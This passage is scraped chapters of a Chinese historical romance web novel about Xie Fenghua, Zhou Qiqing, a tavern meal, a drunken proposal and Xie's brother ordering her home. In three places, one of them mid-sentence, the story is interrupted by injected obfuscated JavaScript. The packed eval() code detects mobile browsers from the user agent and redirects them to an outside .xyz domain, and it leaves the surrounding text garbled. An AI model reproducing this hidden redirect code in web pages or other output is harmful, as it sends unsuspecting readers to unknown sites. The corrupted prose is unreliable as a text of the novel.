想着买些头面回去哄周燕飞开心，又觉得女孩子家定然喜欢些别致的，要别出新意才好。 连着逛了几家头面铺子，那首饰造型不是平平无奇就是繁杂夸张，逛得脚都酸了，周其卿大失所望地走出了头面铺。 周铭道：“世子，晌午了，不如先到前面的酒楼歇歇脚罢。” 周其卿打眼瞧了眼头顶高悬的日头，想来这一路走得不近，现在打道回府定然赶不上午膳，衡量片刻，周其卿迈步朝酒楼走去。 正是午膳时候，酒楼里人声鼎沸。 店小二灵活穿梭在各色人群中，掌柜忙忙碌碌招揽食客，时不时高声呼唤着小二待客用餐。 谢逢华擦了把额头汗珠，环顾四周，竟无一处落脚的地方。 昨夜容舟和谢怀世皆留在明府歇息，不知明玥与他们说了什么，一顿早膳二人吃得夹枪带棒，锋芒逼人。 若非明玥也在桌上，恐怕下一瞬他们就能从袖中掏出毒药给对方饭碗里下毒。 作为始作俑者，谢逢华倍感心虚，随便扯了个借口逃出了府。 逛了几家头面铺子，听了缺牙齿的说书人京中趣事，一抬头，日上三竿。 谢逢华摸了摸鼓鼓囊囊的钱袋子，昂首迈进了酒楼门槛。 待了不到半刻钟，谢逢华高昂的头颅又默默缩了回去。 “若实在等不到空位，小娘子不妨与他人拼个桌？”见她徘徊，掌柜一指角落，“那位小公子桌上还有处空位，小娘子不妨碰碰运气？” 谢逢华循着视线望去，骤然拉下了脸。 拉下脸跟讨厌的人共用一桌，倒不如杀了她来得痛快—— “世子殿下，好巧。” “嗯，好巧。” “一个人吗？” 周其卿摇转酒杯，闻言，朝身边人递去一个困惑的眼神。 意识到此话不妥，谢逢华付之一哂，暗骂自己饿晕了才会说出此等糊涂话。 许是还在气头上，周其卿语气淡淡，扭头对身边人道：“这位就是我与你提过的谢娘子。” 周铭脸色有一瞬惶然，硬着身子站起，朝谢逢华作揖：“小人周铭，见过谢娘子。” 谢逢华瞧这人奴仆打扮，却能与周其卿同坐一桌，便料定此人并非寻常家仆。 谢逢华正要回礼，余光不经意往桌下一瞥。 桌下暗里，周其卿暗暗踢了周铭一脚。 谢逢华蹙眉，开口欲言他，周铭忽然“扑通”一声跪伏在她裙边，诚惶诚恐：“谢娘子，先前失约罪在小人，您莫要责怪世子了。” “这是做什么呀？” 谢逢华何曾受过此等大礼，经不住周围人的审量，边说着，弯腰想将周铭扶起。 周铭哆哆嗦嗦，将周其卿如何托付他转交信物，他又是如何被迫联合周燕飞一起蒙骗主子的前因后果尽数吐了个干净。 言毕，周铭又补了个响头：“谢娘子，老爷施压，小人也是迫不得已啊。” 谢逢华目光凝滞，空洞洞地望着他。 直至听到最后，仍保持弯腰搀扶的姿势一动不动。 “谢娘子？” 谢逢华转而看向周其卿，却见他神色恬然，百无聊赖地挑着碟子里的豆子吃。 觉察到她怀疑的目光，周其卿放下屡次落空的竹筷。 周其卿干咳一声，道：“人证我给你带来了，若嫌不够，明日我把妹妹带来与你谢罪。” 谢逢华道：“不必了，她……她已经还回来了。” 其实珥珰早就被她换回来了，何况失约而已，而非灭门绝户的血海深仇，经过这些时日的接触，谢逢华的怨气早就被生活消磨殆尽了。 一生短短三万天，谢逢华没必要为了这种事牵挂一辈子。 只是每每回想起来，心中总憋着气，亦或者有些委屈，那种鱼刺卡喉的膈应总是挥之不去。 谢逢华讨厌的不是失约的周其卿，而是目中无人的周家。 主仆二人仍在等待着她的发落。 谢逢华定下心神，弯腰将周铭扶起，转而对忐忑不安的周其卿道：“想必令妹只是一时贪玩，才惹了乌龙，此事我也有顾虑不周的地方，世子不必介怀。” “她被我们宠得娇蛮，占他人之物为己物，欺上瞒下的事想必不止这一件，我这个兄长做得实在不合格。”周其卿苦笑，“若非谢娘子主动袒露，恐怕我尚被蒙在鼓中，还是我要谢您才是。” 分明是谢逢华误会了他，他们之间，不过半斤八两，谁也不比谁光彩。 谢逢华低低应了声，思忖着离开时，周其卿像是看破了她的犹豫，道：“谢娘子若得空，不如坐下来，我们好好谈谈？” 周世子又派人添了两道菜，说什么也要将饭钱记在他账上，全当赔罪。 周铭得了主子会意，亦在座上相邀，谢逢华真真切切有些饿了，架不住主仆的热情相邀，只好坐在二人对面。 听闻谢逢华出门是为躲人，周世子忍不住轻笑：“这倒是巧的很，我今日出门，也是为了躲避舍妹。” 想来是因她起的争执，谢逢华并未多问，只是接过他递来的竹筷，道：“想来世间无论手足还是亲子，大抵两幅模子，要么相亲，要么相疏，分分合合，吵吵闹闹，却总是血缘斩不断的。” 周其卿撑腮看着她：“谢娘子话中有话。” “世子多虑了。”谢逢华话锋一转，“不过您昨夜提的那件事，我事后考虑过。” 周其卿弯了眉眼：“如何？” 谢逢华捋了捋措辞，轻咳一声，道：“世子对谢家的扶助，兄长与我都看在眼里，记在心里，只望有日能回报世子。” 不知想到什么，谢逢华顿了顿，接着说：“只是我有一事不解，还请世子解答。” 饶是谢逢华这等博学多才的人都有想不通的事，周其卿稍显讶异，旋即敛起呼之欲出的冲动，正色道：“这里无外人，谢娘子但说无妨。” 得到准允，谢逢华便也无所顾忌，直言道：“昨夜世子言政场水深，非我一己之力可以倾覆，甚至不惜以身试险验明其危，只为让我知难而退。” “只是世子殿下，我想留在太学，是为做官兴家；您背靠皇室，却费心尽力藏巧守拙，所图为何？” 闻言，周铭脸色骤变，顾不得看主人家的神色，忙道：“谢娘子，此话越界，莫要再——” “无妨。” 周其卿抬手拦下周铭，抬眼，眸中无半分往日的懒散惬意。 周其卿放下把玩许久的空酒盏，取过白玉酒壶，慢条斯理将小小的玉盏斟满，旋即将酒盏往她面前推了推，道：“喝了它，我就告诉你。” 周铭察觉不妙， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533617|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲出言提醒，一记眼刀抛来，也只得悻悻封住嘴。 谢逢华端起酒盏，凑到鼻尖嗅了嗅。 酒水清盈，无色无味，大抵没多少度数。 好不容易能撬开他的嘴，谢逢华自然不愿失去这个机会。 一咬牙，仰头将其一饮而尽。 清冽的酒水滚到喉间，骤然化作烈火灼刀，所行之处皆火辣辣的疼。 “咳咳咳……” 谢逢华咳得上气不接下气，一张脸涨的通红，眼泪浸湿眼眶，恼怒地瞪向怡然自得的罪魁祸首。 周其卿无奈笑笑，绕过桌，掌心揽过她颤抖的双肩，一杯茶水贴上她唇边，“来，顺顺气。” 谢逢华狠狠剜他一眼，就着他的手咽了几口温凉的茶水。 她发髻低低盘起，两缕稀薄的鬓发散落颊边，低垂的眉眼若隐若现，长长的羽睫在呼吸中轻颤，不辨心绪。 唇若衔花，浸在澄澈的茶水中，娇艳欲滴。 周其卿眸光暗了暗，说不清的情绪在他心中翻搅。 在她抬起眼时，周其卿又变得一副纯良无害的狸奴模样。 谢逢华重重喘了几口气，这才缓过劲。 觉察到肩上热度，谢逢华不动声色挣脱开来，若无其事道：“现在，你该告诉我了。” 周其卿瞥了眼空荡荡的杯底，强压下唇角笑意，面不改容坐回她的对面，续了杯酒，慢吞吞道：“我不学无术，是因为我志本不在此。” 谢逢华：“所以你志在哪里？” “我的志……”周其卿念叨着，莹白的指尖轻点心口，笑得像只得逞的狐狸，“痣在这里，要不要我褪下衣裳给你瞧瞧？” 谢逢华：“？” 周铭：“……世子，谨言慎行。” 谢逢华真的生气了。 直到干巴巴吃完一整碗白米饭，谢逢华都没再跟周其卿说一句话。 撂下碗筷，谢逢华掏出几枚铜板拍在桌上，起身便走。 周其卿将荷包丢给周铭，嘱咐他收好谢逢华的铜板，顾不得多言，抬腿追了上去。 “谢逢华！” “谢娘子！” “娘子！” 谢逢华猛然刹住脚步，回身，烫着脸骂道：“不许这么唤我！” 周其卿道：“那该如何唤您，谢娘子？” 真是秀才遇到兵，有理说不清。 “随你，”谢逢华拭去鬓边汗水，义正词严道，“总之，不能唤我‘娘子’。” “为何？” “那是……”谢逢华哽了下，平日出口成章的唇舌忽然打了结，“那是夫妻之间才能用的……” 周其卿点头，想了想，又追问道：“若我娶你，可否唤你‘娘子’？” “……” 许是走得急了些，日头一晒，酒气上涌，头脑竟有些发昏。 谢逢华以帕掩唇，心道一盅酒能有多大劲，怕不是多年未沾酒，此身竟有些不胜酒力罢了。 见她迟迟不言，周其卿上前两步，试探着虚握住她的手，小心唤道：“谢娘子？” 谢逢华转头看向他，望向他的眼眸多了些许困惑和不知所措的迷惘。 周其卿心中一惊，旋即意识到什么，无奈之余，一种强烈的冲动夹杂着做贼般的心虚，一股脑涌入脑中。 鬼使神差的，周其卿手中慢慢收力，几乎没费什么力气便将她的手卷入掌心中。 “谢娘子。” 周其卿几乎按捺不住喉间躁动的心跳，用尽了全身力气，一字一顿道：“谢逢华，我想娶你。” 22. 第 22 章 谢逢华呆愣愣地站在原地，迷离的目光如风筝般飘来飘去，最后风筝线断，直挺挺落在相牵的手上。 “不可以。” 谢逢华喃喃道：“你尚未及冠，不懂什么是情爱。” 街上人来人往，繁华擦肩而过。 他们在沉默中僵持着，谢逢华呆呆盯着裙摆，心口扑通扑通地跳。 手腕传来刺痛，周其卿冷冰冰的话语从头顶传入耳中：“你醉了。” 其实她的酒量还不错，虽说脑子有些晕乎乎的站不稳，但不表示她听不懂人话。 周其卿对她什么心思谢逢华心知肚明。 周其卿一次次试探，谢逢华从一开始的胜券在握，到后来见到周其卿下意识的回避，她拙劣地暴露自己的软肋，模棱两可地回应着他，却希望他自觉知难而退。 谢逢华一心期望周其卿能为自己所用，却已然忘了，以现在她的实力，远不能完全掌控一颗完全自由的心脏。 手腕上的手掌隆起青色的脉络，周其卿无言沉默着，似在等待着她的回应，又似一种无声的威胁。 谢逢华轻轻吐出一口酒气，颇有自知之明地没有挣脱。 “嗯，你就当我醉了罢。” 待她再爬得高些，待一切尘埃落定，再找机会与他说明也来得及。 话落，手腕上骤然一轻。 谢逢华回神，抬眼望去，周其卿目光沉沉，分明是少年人的年纪，眼底却总有一抹挥之不去的阴霾。 周其卿扯了扯嘴角，眉头舒展，不见半分喜色：“谢娘子，我醉了。” 不远处，周铭正急匆匆朝这边奔来。 谢逢华欲开口回拒，却听他委屈道：“谢娘子，我真的醉了。” 说着，为验明其身似的，周其卿晃晃悠悠朝她靠近。 走了没两步，像是被石子绊倒，摇摇晃晃如落叶坠下树梢，身形一晃，竟直挺挺朝她扑来。 距离太近，躲是躲不过了。 谢逢华一咬牙，向他张开了怀抱。 骄阳余温炙烤着灼热身躯，酒气蒸腾，扑面而来。 这小子看着瘦弱，分量着实不轻。 谢逢华后退一步才勉强撑住他。 周其卿凑在她耳畔嘀咕了句什么，头一栽，便没了声息。 “世子哎！” 打眼撞见男女搂抱，周铭大惊失色，慌忙上前欲将主子拉回来。 可醉酒的人重如千斤坠，周铭吭哧拽半天，周其卿仍牢牢黏在谢逢华身上，折腾半天，纹丝不动。 想来真是醉了。 谢逢华被他压得酒醒了一半，见周铭无可奈何，问他：“不是说你家世子海量吗？喝得什么酒能醉成这副模样？” 周铭尴尬：“今日饮的是千杯觞，是江月楼的新品。” 谢逢华掰下绕在腰间的胳膊，递给周铭，疑惑：“江月楼？” “是，世子说，江月楼的美酒最是甘甜，还曾说想带谢娘子来吃一盏酒尝尝鲜。”周铭说着，将那条沉重的胳膊搭在肩上。 谢逢华搀着周其卿的半边身子，闻言只觉得好笑：“周世子还想带我来？怕不是别有用心。” “谢娘子莫不是听了外界传言，才对世子有所误解。”周铭道，“世子常现身酒楼乐馆，只是为了吃酒听曲，其余的，世子瞧不上，也从未碰过。” 谢逢华心道：非亲非故，你与我说何用？现今有他的至亲管教，日后有他的世子妃约束，怎么也轮不到她对世子指指点点。 即便周其卿常携书来寻她探讨，一口一个“谢娘子”叫的酸掉牙，可年纪和家世摆在那里，周家也绝不会允许一个教书先生家的小女戴上皇室的头冠招摇过市。 或许谢逢华看得透，所以才对周其卿的喜爱惶恐不安。 “谢娘子，周家家规有言，周氏男女皆不可醉态入府。世子这般模样回去，又免不了一顿苦头，不如先从客栈开间房歇歇，待世子醒了再回去？” 周铭就近寻了客栈，开了间上等厢房。 二人合力将周其卿搬上楼，扶到床上摆好。 周铭摘下周其卿的锦鞋摆在床脚，谢逢华将醉鬼的外衫褪下，叠好放在床边，又扯开棉被盖在他身上，掖好被角。 周其卿期间没有半分挣扎的迹象，梦呓几句，翻了个身，倒头昏睡过去。 周铭道：“有劳谢娘子了。” 谢逢华坐在椅子里不想动，累得双腿都在发抖，“嗯，就当抵饭钱了。” 周铭唤了热水，说要为周其卿擦身，谢逢华见状，心知留下无用，起身辞行。 目送谢逢华下楼，周铭不禁捏了把汗，一转头，只见方才床上挺尸的主子不知何时坐了起来，澄澈的眼睛直勾勾地盯着他。 “她走了？” “是。” 周其卿叹气，颓然躺平。 “世子……” “头疼，闭嘴。”周其卿拉过被子蒙住头，声音隔着厚厚逢棉被传出，“出去玩罢，我睡会儿。” 周铭应声，顺从退出了厢房。 屋内恢复了寂静。 周其卿猛得掀开被子，弹坐而起，大口大口喘着粗气，脸颊湿红。 话都说出口了，他日后该以何颜面面对谢逢华？ 余光瞥见床边叠得整齐的外衫，痛苦又绝望地捂住了脸。 不过显然他的担心是多虑的。 因为谢逢华压根没回太学。 下了堂，学子们三五成群，聚在一起，商量着去哪里一睹周相尊颜。 有学子壮着胆子询问周其卿，周其卿收回视线，道：“这个时辰，父亲大抵已经打道回府了。” 闻言，学子们纷纷流露出失落的神态，自觉无趣，也就纷纷散开了。 章旭用胳膊肘怼他腰窝，好奇道：“周相大驾光临，你怎么不去陪他，还少上一节算学课。” “无趣。”周其卿抛出两个字，起身朝外走。 章旭遥遥唤他：“做什么去？” 周其卿摆摆手：“寻人！” 穿过亭台水榭，明玥在池塘边寻到了谢逢华。 褙子挽起广袖，露出两节藕色玉臂，谢逢华双膝跪地，手臂探入水塘，惊动一圈圈涟漪。 不知在摸索什么，那小臂宛若竹竿入水，搅乱了平静的水面。 明玥看了半晌，道：“这塘中可没有鱼儿。” “嫂嫂。”谢逢华面露窘色，抽回手，慌乱地往身后藏，辩解道，“我没有捞鱼，是簪子落进水中，我想试试能不能捞出来。” 明玥掏出锦帕擦拭她脸上的泥泞，责备道：“这塘水深，池沿又浅，你若脚滑跌下去怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533618|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么办？左一个簪子罢了，府中多的是，改日我再送你一根。” 谢逢华倒是蛮喜欢那簪子的花样，但再喜欢也比不过命重要，便也不再执着。 “明日便是你的生辰，你可有什么想要的，嫂嫂提前替你物色着。” 这日子过得真是快，一转眼，她已是桃李年华。 考虑到谢逢华喜静，生辰宴便设在明府，铺面从简，只邀请谢家近亲友人。 明玥问她有没有想邀请的好友，谢逢华想了许久，想来想去也凑不够半个人，只好摇头：“兄长能平安归来就很好了。” 今日谢怀世去往太学后便迟迟没有消息传来，连周相入宫面圣的消息都传回府了，谢怀世那边依旧毫无波澜。 “好端端的怎么又入宫了？” 听到这个消息，谢逢华心中一沉，道：“兄长不会出事吧？” “又在说梦话了。”明玥嗔怪道，“你这小嘴呀，常是好的不灵坏的灵，我若真成了寡嫂，是继续养着你呢？还是先把你这张能说会道的嘴缝上呢？” “我随便说的。”谢逢华赶忙捂上嘴，惊恐道，“我不说了还不行吗？” 明玥笑弯了腰。 此时管家前来，说前堂有贵客拜访，明玥嘱咐谢逢华莫要碰寒凉之物，便前去应客了。 谢逢华坐在凉亭里，拾起未看完的书，翻了一页。 读到“家国难两全”时，残阳与淡墨横割天际。 读到“师先为学者立身”时，府中下人来报，说谢怀世已归家。 谢逢华放下书本，提裙朝前院跑去。 “周相考了一篇策论，问了我的家世，问了我对太学学子的看法，其余的……他并未多问。” “可我听说周相出了太学就直奔皇城……” “周相说要为我求份官差，”谢怀世摸了摸谢逢华的头，挤出一抹强笑，“我婉拒了。” 谢怀世拒绝的缘由，无外乎谢逢华和明玥，亦或本性如此，不求大富大贵权势滔天，只求家庭圆满安度一生。 谢怀世处处为她们着想，却也将自己困在当下。 这样的谢怀世，是否已经忘记当初年少时“为君分忧，为民请命”誓言了？ 用过晚膳，谢逢华在院中漫步消食。 虽不知周惕守与谢怀世谈了什么，但谢怀世既能主动提出在太学安顿，想必这一年半载他是不会轻易回去了。 那谢逢华呢？ 谢逢华一开始的确坚持想做女官，但近些日子随着明玥学习经营店铺，也越发觉得做女商也未尝不可。 商路扩据，亦能稳控一方。 到那时，兄长做官，她和嫂嫂经商，何愁钱权。 谢逢华正筹划着，忽闻围墙外有窸窣声响，不待她走进，一节竹梯越出视线。 “扶稳了！摔了小爷为你是问。” 听到这声音，谢逢华迈出去的脚又收了回来。 那人冒出墙头，打眼瞧见立于院中的谢逢华，好看的眸子闪过一丝讶异。 谢逢华抱臂，饶有兴致地看着他。 见事情败露，他便不再伪装，摘下兜帽，露出一张再熟悉不过的面容。 那笑颜如花的模样，全然没有捅破好事的尴尬，只有对自己翻墙技术的自豪。 “谢娘子，好巧。” 23. 第 23 章 感同身受莫过于此。 “世子爷这是做什么？周府的院子容不下世子的眼界，逼的世子来别家墙头赏月了？” 谢逢华双臂环胸，即便站得远了些，周其卿依旧看到她唇边藏不住的笑意。 周其卿愣了下，旋即反应过来她在打趣自己。 周其卿心道来都来了，总不能两手空空地走。 于是利落翻上墙头，接过梯子折到另一侧墙面，大致固定好后，朝那侧说了句什么，俯身顺着梯子往下爬。 “谢娘子不也没睡？不如一起来赏月？” “世子好闲心。”谢逢华嘟哝着上前，一手扶住竹梯。 “多谢谢娘子。”周其卿越下梯子，掸去身上浮尘。 视线在院中逛了一圈，周其卿道：“这院中只你一人？” 谢逢华颔首：“原是有伺候的下人，我不习惯，便都打发到别的院中了。” 周其卿道：“凡事亲历亲为可不够，也要学会使唤人啊谢娘子。” 谢逢华：“这便是你今夜寻我的借口？” 周其卿抚了下鼻尖，不自在地开口：“策试将近，背书背的睡不着。恰好听闻你在明府落脚，便来寻你。” 谢逢华上下打量着他，疑惑：“睡不着就去医馆开几副安神的方子，你来寻我，让旁人知晓，京中又该传些捕风捉影的谣言了。” “尽管让他们说，传不到我耳中，又与我何干？” “待传到你耳中，恐怕事情就更不可控了。”谢逢华正色道，“与其斩草除根，不如一开始就将苗头扼杀于尚未破土之中。” 她义正词严，周其卿也拿她没了办法，只好乖乖认下。 默了片刻，周其卿道：“昨日我喝多了酒，说了些不该说的，还望娘子莫要挂怀。” 话落，肉眼可见的，谢逢华嘴角垮了下来。 她抱臂看着他，目光凉如镜中寒水，直盯得周其卿毛骨悚然。 风过树梢，携了一尾阴云。 天色骤暗，也卷走了谢逢华眸底一闪而过的无奈。 谢逢华道：“昨日……我也喝多了。” 那想必是记不得了。 周其卿肉眼可见的放松下来，却仍小心翼翼地用余光偷瞄她，纠结半晌，试探问道：“谢娘子，谢学正这事算是定下来了，那您日后还去太学吗？” “兴许……偶尔会去转转。”谢逢华尚对未来无所安排，因而没把话说得太绝。 “谢娘子，”周其卿拉住她的衣袖，“您答应过我的。” 谢逢华无奈：“我只答应你留下陪你考科举，却没说一定会留在太学。” 话虽如此，日后如何，前路又如何，谁又能说得准。 周其卿怔怔愣在原地，迷茫又无措，手中的一角衣袖竟成了他唯一的定心丸。 谢逢华见他眼眶微红，于心不忍，抬手摸了摸他的额头，回想着兄长哄嫂嫂的语调，道：“好了好了，以后的事交由以后再议，现在我这不是还好端端站在这里？” 周其卿别过脸，“谢娘子惯是会说谎骗人的。” 这反倒还是她的不是了？ “世子也不遑多让。”谢逢华气笑了，甩开他的手，大步朝着屋内走。 周其卿诧异，马不停蹄地追在她身后：“谢娘子怎这般开不起玩笑！” “对，我开不起玩笑，世子还是另请高明罢。”谢逢华提裙迈过门槛，利落回身关门。 在两扇门即将完全闭合瞬间，周其卿以迅雷不及掩耳之势挤入门间，竟也硬生生将门缝抵出了半人宽的距离。 “你！” “谢娘子。”周其卿探头欲往门内钻，“谢娘子别丢下我一个人，我怕黑。” 谢逢华手上发力，非将他推出去不可：“怕黑就早点回府睡觉，赖在我这里成什么样子。” 二人正僵持着，忽而院中传来男女交谈嬉闹的声音。 谢逢华一惊，手上卸力，被周其卿得了空子，推开门连滚带爬地扑进了屋内。 后脊骤然贴上刺骨的冰凉。 周其卿搂着谢逢华坐起身，关怀的话还未说出口，谢逢华倾身从他身侧钻出。 周其卿讶异于她的矫健，“你——” “噤声！”谢逢华将门关好，落了栓。 周其卿果真封住了嘴。 因为他也听到了，来自门外谢怀世的声音。 “你真的要与她说情吗？”赶在谢怀世敲门前，明玥拦下了他，“你分明知道她不愿离开这里。” “不愿又如何？小妹这一招兵行险棋，无异于把她自己暴露于周惕守眼皮下，周惕守何等精明，你觉得他看不出应时有意接近周世子吗？” “可……” 谢怀世抬手止住她的话，沉声道：“周世子年少无知，趁他尚未动情前，尽早将他们二人分开。应时离开，周惕守才能放下对她的戒备，我才能安心。” 明玥看着他坚毅的目光，无力落下了手。 咚咚咚。 谢逢华打开门，额上汗珠黏在发梢，隐于发丝之间。 谢怀世疑惑：“你在做什么？” 谢逢华拭了把脸上的汗，讪笑：“方才收拾床铺，热出了汗。” “这种事让下人去做就好。”明玥笑着接话，“现在方便吗？我们想与你谈谈。” 谢逢华点头，侧身让开了路。 许是怕谢逢华芥蒂，亦或另有心思，明玥未携随身侍女。 谢怀世自踏进门内就一直拧着眉头，谢逢华去一旁倒茶，听到谢怀世跟明玥咬耳朵：“你有没有闻到一股味道？” “味道？”明玥顿觉奇怪，努力嗅了几息，道，“是府中常用的落天仙罢。” “不，不是。”谢怀世站起身，绕着房间寻找着什么。 这件屋子原是明玥未出嫁时的闺房，用具一应俱全，唯独多了一面巨大的书架，书架上摆满了书本。 眼见他朝屏风靠近，谢逢华手一抖，茶盏应声坠地。 “哎，小心手。” 明玥拉住她欲拾碎片的手，谢怀世转身几步走来，借了帕子，裹着碎片将其扔出屋外。 待他回来，谢逢华先一步夺过话头：“兄长今日前来，是有什么事吗？” 谢怀世这才想起此行目的。 与明玥对视一眼，谢怀世清了清嗓，道：“应时，过了生辰，你有什么打算？” 打算？ 谢逢华道：“我想……我想留在嫂嫂这里。” 明玥抿了口温茶，满足地笑弯了眼：“可以呀，我——” 谢怀世轻咳一声：“玥儿，说正事。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533619|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说罢，谢怀世转向忐忑不安的谢逢华，“应时，家中许久未有人打理，过完生辰，不如就回家罢。” 谢逢华猛地抬起头，不可置信地看向他：“兄长？” 谢怀世平静地与她对视，那是来自上位者的，不容置喙的决心。 谢逢华捏紧衣裙，努力让自己镇定下来，“兄长，您能留在这里，为何我不能？” “你能让我留下，我也可以让你离开。”谢怀世声音沉沉，听不出情绪。 一种名为委屈的潮水涌上心头，眼前影影绰绰，模糊了谢怀世的容貌。 谢逢华突然发现，她看不懂这个唯一的亲人了。 分明……他有很多种方式留下她。 可谢怀世偏偏采用最直接，也是最伤她的心的法子，毫不留情地赶走她。 丝毫没给她留下回旋的余地。 似觉察到气氛的凝重，明玥不动声色地往一旁挪了挪，欲言又止。 “为什么啊。”谢逢华鼻尖酸涩，喉间挤出一点沙哑，“兄长，您连一句谎话都不屑于编来骗我吗？” 谢怀世拧过头，不发一言。 “应时，你兄长……”明玥心如芒刺，张口却又不知该劝解哪一方让步。 窗外风声不止，三人各怀心事，各自沉默着。 好半晌，直到再也听不见疾风拍打窗棂的声响，瞬息静默中响起了谢逢华的低喃：“好。” 谢怀世看向她，面无喜色，辨不清喜怒。 “过了生辰，我就回城西。”谢逢华几乎听不到自己的声音，好像有人重重朝着她的心口打了一拳，胸口憋闷得胀痛。 谢怀世轻“嗯”了声：“其实也不用这么着——” 衣角被人不轻不重地拽了下，谢怀世也就噤了声。 “时候不早了，我们也就不打扰你了，你早些歇息。” 言尽于此，谢怀世撑膝起身，途经谢逢华，垂在身侧的手下意识抬起，又想到什么似的，握了握拳，藏于身后。 “应时。” 明玥看了看已快步走到门边的谢怀世，又看向低着头恹恹不乐的谢逢华，犹豫片刻，道：“其实你兄长也是为你好……” “玥儿。”谢怀世冷不防打断她的解释，远远望着她们二人。 见此，明玥也只好咽下话，拍拍谢逢华的肩，迈步追上谢怀世。 咔哒。 木门重新落了栓。 周其卿从屏风后绕出，看着蹲坐在地上的人，双腿似被铁链拴在原地，动弹不得。 谢逢华抱着双膝，听到动静，转头看向他。 她的脸色比病时更加憔悴，望向他的目光依旧柔和，镇定地有些可怕。 “你……你还好吗？” “嗯，还好。”谢逢华扶额，平和的语气里，竟有一丝如释重负的轻松，“让世子见笑了。” 周其卿道：“所以你真的要走吗？” 撑在额头的手滑过脸颊，抵在下颚上。 她眼中竟有些嘲弄般的戏谑：“世子有更好的办法吗？” 大抵是有的。 只是周其卿暂时想不到罢了。 周其卿惭愧垂首，久久挤不出半点字眼。 “周其卿。”谢逢华突然唤他，“那次我们在周府的交易，现在还作数吗？” 24. 第 24 章 即便早有预料谢怀世会赶她离开，可谢逢华还是被他冷漠无情的直白伤了心。 哪怕谢怀世扯个不那么刺耳的谎言敷衍她，谢逢华也不必为此耿耿于怀。 谢逢华彻夜辗转难眠，心烦意乱，实在睡不着，干脆起床抄书，抄到手腕抽搐酸疼才肯罢休。 窗外，远天擦出一线鱼肚白。 谢逢华盯着纸上密密麻麻的字迹，半点睡意都无。 谢怀世分明是想留在太学，留在天子脚下做事的，谢逢华不过是将这种隐秘的希冀以更加直白的方式实现了，他反过头来却想把自己赶走。 旁人皆能留，为何偏偏她谢逢华留不得？ 还是周惕守与谢怀世说了什么，让谢怀世觉察到了危机？ 越想越心烦。 谢逢华猛得坐起身，换了衣裳，趁着天尚未明朗，朝外走去。 “你怎么来了？” 周惕守抬臂，任由侍女服侍更衣，半分余光分给一早就来请安的周其卿，道：“若没记错，今日策试，你该在太学应考。” “是。”周其卿接过侍女手中的玉带，俯身系在父亲腰间，“儿子只是突然想起一事，因而连夜赶回。” 周惕守向来不爱弯弯绕绕，父子之间常是有话直言，有事说事，没事就各自安好。 近些时日周其卿接二连三变相向他提要求，不是要求换老师就是打听婚约之事，一而再再而三的，周惕守也起了疑心。 周惕守道：“马上就要上早朝了，有话直说。” 周其卿道：“父亲，您觉得谢学正此人如何？” 周惕守抬了抬眼皮：“有几分才气，只是此人牵挂太多，胆小怕事，成不了气候，让他捡个学正的官，算他走运。” 周其卿几不可查地弯了唇角，道：“此人虽不可用，但他与明家主琴瑟和鸣，夫妻很是恩爱。” “明家主？”周惕守愣了下，意识到他说的是明玥，“当年就是他瞒着明御史娶了明娘子？” “是。” 这倒是有些意思。 周惕守愿意见谢怀世，只是听说容舟与谢怀世走得近些，恰好周其卿推举此人，他便想瞧瞧什么稀世大才值得眼高于顶的容舟另眼相看。 他人口中的谢怀世还是让周惕守大失所望。 周惕守以高官钱财贿赂，皆被谢怀世以各种理由婉拒。 人皆有贪，像谢怀世这般无欲无求，放在朝廷还没什么大用的平庸之辈，尚不足以为惧。 人平庸些无所谓，懂事又孝心也是为官之道，时候到了，升官发财也不过是一句话的功夫。 可若站错队，到头来就不是贬官流放这么容易的事了。 容舟与明家交往甚密。周惕守好不容易铲除了明荣这个绊脚石，以为明家再不能与他作对。 谁能料到，明家居然还留有后手。 犹记得那日会面，周惕守问他家世，他只道家中有妻妹，那时周惕守只当是大字不识的寻常民妇，却未曾想到，这妻竟是明家现任家主明玥。 明玥虽聪颖，却也只是个女子，掀不起风浪，可若她的夫婿入朝为官…… 周惕守沉吟片刻，朝一旁挥手，屋内的侍从便全都退出屋内。 “此话当真？” “千真万确。”周其卿道，“这谢怀世有一妹妹，名唤谢逢华，近日与儿子多有交集，明玥待她不薄，不会有错。” “谢逢华……与你？”周惕守睨他，面色冷了下来。 周其卿怎么可能不知此话会引得周惕守反感。 想到昨夜谢家兄妹的谈话，周其卿咽了口唾沫，壮着胆子正要继续说下去，忽而门外传来二夫人的声音。 “官人，时候不早了。” 周惕守应了声“知道了”，转而对周其卿道：“此事日后再议，今儿你娘亲要入宫与皇后叙旧，你随着一起，替我给皇后娘娘带句好。” 周其卿应下。 直到再也听不见脚步声，周其卿如梦初醒般回神，踏出屋内。 “世子。”周铭上前，低声道，“方才探子来报，说谢娘子清早便出了门，至今未归。” 